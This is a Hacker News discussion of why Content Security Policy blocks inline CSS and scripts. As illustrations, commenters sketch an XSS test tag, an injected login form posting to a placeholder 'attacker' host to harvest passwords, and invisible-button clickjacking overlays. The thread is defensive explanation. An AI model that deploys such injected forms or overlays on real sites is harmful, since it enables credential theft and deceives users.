Hacker News Reader

Comment by radarsat1 | Hacker News Reader

This is the part that surprised me,

> Further, inline CSS on HTML elements is blocked by default with Content Security Policy (CSP).

I'm probably not up to date on this stuff, since I am not a web dev, but does this mean it's actually not possible to use `style=""` in your HTML elements any more? I thought it was not recommended, but more for organizational reasons, not security reasons. What is the reason?

View on HN

Only if you have specified Content-Security-Policy headers in your response, without also specifying "unsafe-inline": http://www.html5rocks.com/en/tutorials/security/content-secu...

What potential security vulnerability do inline styles have?

CSP is mainly a defense against arbitrary HTML getting injected into your website via poor validation, buggy scripts, etc. It's not a replacement for validation, but it's a failsafe when there's inevitably a bug. So the purpose of CSP is to block regular XSS like <script>alert("XSS!");</script>, and anything that works similarly. This isn't saying that inline script tags are a security vulnerability per se, just that they're a tool an attacker can use. CSP then also allows you to restrict <script src="..."> tags to trusted origins.

The same argument applies for CSS. If an attacker manages to output arbitrary HTML on your web page via some bug, they can add their own login form with <div style="position: fixed; ..."><form action="https://attacker/"> and harvest passwords this way. So CSP blocks that too. Again, this isn't because writing a form that way is a security vulnerability, but because if you've opted into CSP, you're stating that you're not writing forms this way so that you can enable these XSS and clickjacking protections.

Would that block injection like Comcast does for bandwidth notifications? http://blog.ryankearney.com/2013/01/comcast-caught-intercept...

No, because Comcast can just drop the CSP header from the HTTP stream (and you can believe that whatever developer has been ordered by management to implement this will quickly Google CSP, figure out that it's in their way, and drop the header).

The solution for network-level tampering and end-to-end authenticity is HTTPS. CSP just protects you against mistakes on the legitimate server.

Deleted comment

CSP has a directive called "form-action" that limits the URI in form submission. So at least you can only submit forms to known destinations.

... which means if you use something like React and do not inject HTML or use innerHTML or other eval-type junk then you don't actually need to worry much about allowing inline CSS or inline JavaScript.

Some of CSP's protections are there to protect crap web developers from blowing their feet off. Unfortunately there are enough of these on the web platform that having inline CSS and inline JavaScript off by default is a good idea. The 'unsafe' in 'unsafe-inline' means 'I know what I am doing.'

Right, in a perfect world, where all code deployed to production (including third-party libraries, legacy code that hasn't been touched in years, etc.) is free of security bugs, there's not much benefit to CSP.

It's mostly the combination with other things: the ability to hide or position elements on the page is commonly exploited by XSS, malware, adware, etc. If someone can inject JS or HTML into the page, they can do things like put an opacity:0 submit button over the control the user thought they were clicking on.

Consider how this could work if Twitter made a mistake and gave you a way to inject improperly-sanitized HTML into a field which other people will see: you might be able to inject a follow or tweet button even if you didn't have enough access to completely rewrite the entire page or load arbitrary scripts. If you can style it to either look real or be positioned over a real button, the odds of someone clicking that go up dramatically.

If you have a cross-site scripting hole, an attacker could use inline CSS to create a smoother experience for the visitor.

In the pre-IE8 days, you could include CSS expressions within CSS that let you execute arbitrary Javascript when the CSS was evaluated. This was a very common vector for Internet worms; UGC sites would think they were safe because they stripped out <script> tags, javascript: URLs, and inline event handlers (onload was another common attack vector), but then an attacker would add a custom style attribute with a CSS expression and pwn your computer.

That specific danger has largely gone away (except on all the corporate networks that are still on IE6 because custom apps), but there's still a desire to minimize attack surface. What if calc() or var() is found to have a bug in the future that allows arbitrary code execution?

CSS is powerful. It's possible to both steal data and in some browser to execute JS through CSS injections.

(JS execution is mostly possible in obsolete browser versions though)

If guess you could irritate users or trick them into clicking something they don't want if you are able to position elements on the site, maybe DoS the browser or fake the identity in a comment box. CSS is quite powerful.

thank you so much for the link, I wasn't aware of this. It's a very easy way to help harden the webpage! (especially because I can do this via headers)

Reply on news.ycombinator.com